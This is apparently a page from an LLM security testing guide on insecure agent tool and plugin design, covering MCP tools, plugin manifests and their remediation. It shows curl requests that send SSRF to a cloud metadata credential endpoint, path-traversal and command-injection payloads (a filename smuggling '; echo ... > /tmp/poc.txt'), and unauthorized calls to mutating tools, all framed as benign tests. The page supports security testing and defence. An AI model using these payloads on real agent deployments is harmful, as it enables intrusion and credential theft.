Insecure Tool and Plugin Design
Description
An agent’s real privilege is defined by its tool schemas, not its system prompt. Every declared tool - an MCP server entry, an OpenAPI plugin manifest, a LangChain or LlamaIndex wrapper, a function definition passed to the model - is a JSON Schema whose parameters flow into an HTTP client, a filesystem path, a SQL statement or a subprocess. Where the schema exposes a free-text url, path, query or command field and the handler validates nothing, the model becomes an untrusted proxy into the host’s network and filesystem. This page carries the material of the retired LLM07:2023 Insecure Plugin Design category, which the 2025 edition folded into Excessive Agency.
The payoff is the classic server-side set reached through a chat box: SSRF into cloud metadata, arbitrary file read and write, command execution, unscoped database access. It is easy to miss because testers drive the agent conversationally and conclude the guardrail held. The tool endpoint is usually reachable directly, and many state-changing tools carry no authorization of their own - they inherit an ambient service token and trust the orchestrator to have checked the caller.
Examples
Enumerate every tool and its declared scope
Talk to the tool layer directly rather than through the model:
curl -s -X POST https://agent.example.com/mcp \
-H 'Content-Type: application/json' \
-H 'Accept: application/json, text/event-stream' \
-H 'Authorization: Bearer <SESSION_TOKEN>' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' \
| jq '.result.tools[]|{name,inputSchema,annotations}'
# legacy ChatGPT-style plugin manifest, still served by self-hosted deployments
curl -s https://plugin.example.com/.well-known/ai-plugin.json | jq '{api,auth}'
curl -s https://plugin.example.com/openapi.yaml | rg -n "operationId|post:|delete:"
Tabulate tool name, sink (HTTP, file, DB, shell), and whether the schema has a free-text parameter. MCP annotations such as readOnlyHint and destructiveHint are server-supplied and untrusted - verify behaviour, do not read the flag.
SSRF through a fetch tool into cloud metadata
Invoke any URL-taking tool with an internal target:
curl -s -X POST https://agent.example.com/mcp \
-H 'Content-Type: application/json' -H 'Authorization: Bearer <SESSION_TOKEN>' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"fetch_url",
"arguments":{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}}'
An IAM role name in the result confirms SSRF; report the name only, do not fetch the credential document. Repeat against http://metadata.google.internal/computeMetadata/v1/ with a Metadata-Flavor: Google header, and against loopback ports to map internal services. Where IMDSv2 is enforced a GET-only tool reaches nothing and the finding reduces to internal host reachability, but a tool whose schema accepts the method and headers can still issue the token PUT - check that before downgrading severity.
Fuzz file, shell and SQL parameters
Fuzz each free-text parameter with traversal, metacharacter and statement payloads, keeping every payload benign:
{"name":"read_file","arguments":{"path":"../../../../etc/hostname"}}
{"name":"write_note","arguments":{"path":"/tmp/poc.txt","content":"CANARY-1234"}}
{"name":"convert_doc","arguments":{"filename":"a.txt; echo CANARY-1234 > /tmp/poc.txt"}}
{"name":"run_report","arguments":{"query":"SELECT current_user, current_database()"}}
The observable is the effect, not the error text: /tmp/poc.txt holding CANARY-1234 proves write or command execution, /etc/hostname contents prove traversal, and an owner role in current_user proves the DB tool is not a scoped reader. Follow with a one-row read from a table outside the tool’s stated domain to show the grant is unscoped.
Check whether state-changing tools authorize the caller
Call a mutating tool with a token for a user who has no such right in the product UI:
curl -s -X POST https://agent.example.com/mcp \
-H 'Authorization: Bearer <LOW_PRIV_TOKEN>' -H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":3,"method":"tools/call","params":{"name":"update_ticket_status",
"arguments":{"ticket_id":"<OUT_OF_SCOPE_TICKET>","status":"closed"}}}'
The change appearing in the target record proves the tool has no authorization of its own. If the audit log records a service principal rather than your user, the tool runs on an ambient credential.
Remediation
- Narrow the schema rather than validating free text
- Replace url, path, query and command fields with enumerations or resource IDs the handler resolves itself.
- Split run_shell and execute_sql into named operations with fixed statements and bound parameters.
- Pin every sink server-side
- Allowlist egress hosts, re-check the resolved IP against loopback, RFC1918 and link-local ranges, and refuse cross-host redirects.
- Canonicalise paths into a per-session directory; never pass model text to a shell.
- Authorize per tool call with the caller’s identity
- Propagate the end-user subject to the tool server and re-check entitlement there instead of trusting the orchestrator.
- Remove ambient credentials; issue short-lived least-scope tokens, read-only where the workflow only reads.
- Sandbox and cap the blast radius
- Run file and process tools in a container with a read-only root, no cloud credentials, and IMDSv2 required on the host.
- Rate limit per tool and gate irreversible operations; test the gate itself as described on the Bypassing Human Approval Gates page.
- Treat tool metadata as untrusted
- Diff tools/list and manifests per release, pin server versions, and reject duplicate tool names across connected servers. Poisoned descriptions are covered by the MCP Server And Tool Poisoning page in LLM04.